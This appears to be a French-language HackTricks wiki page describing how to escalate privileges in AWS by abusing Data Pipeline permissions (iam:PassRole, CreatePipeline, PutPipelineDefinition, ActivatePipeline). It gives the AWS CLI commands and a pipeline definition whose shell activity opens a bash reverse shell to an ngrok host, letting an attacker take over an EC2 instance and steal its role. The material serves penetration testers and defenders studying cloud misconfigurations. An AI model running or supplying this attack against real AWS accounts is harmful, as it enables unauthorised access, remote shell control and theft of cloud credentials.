# AWS - Datapipeline Privesc

{{#include ../../../banners/hacktricks-training.md}}

## datapipeline

Pour plus d'informations sur datapipeline, consultez :

{{#ref}}
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
{{#endref}}

### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`

Les utilisateurs avec ces **permissions peuvent élever leurs privilèges en créant un Data Pipeline** pour exécuter des commandes arbitraires en utilisant les **permissions du rôle assigné :**
```bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
```
Après la création du pipeline, l'attaquant met à jour sa définition pour dicter des actions spécifiques ou des créations de ressources :
```json
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
```
> [!NOTE]
> Notez que le **rôle** dans **les lignes 14, 15 et 27** doit être un rôle **assumable par datapipeline.amazonaws.com** et le rôle dans **la ligne 28** doit être un **rôle assumable par ec2.amazonaws.com avec un profil d'instance EC2**.
>
> De plus, l'instance EC2 n'aura accès qu'au rôle assumable par l'instance EC2 (vous ne pouvez donc voler que celui-ci).
```bash
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
```
Le **fichier de définition de pipeline, conçu par l'attaquant, inclut des directives pour exécuter des commandes** ou créer des ressources via l'API AWS, tirant parti des autorisations de rôle du Data Pipeline pour potentiellement obtenir des privilèges supplémentaires.

**Impact potentiel :** Privesc direct au rôle de service ec2 spécifié.

## Références

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../banners/hacktricks-training.md}}
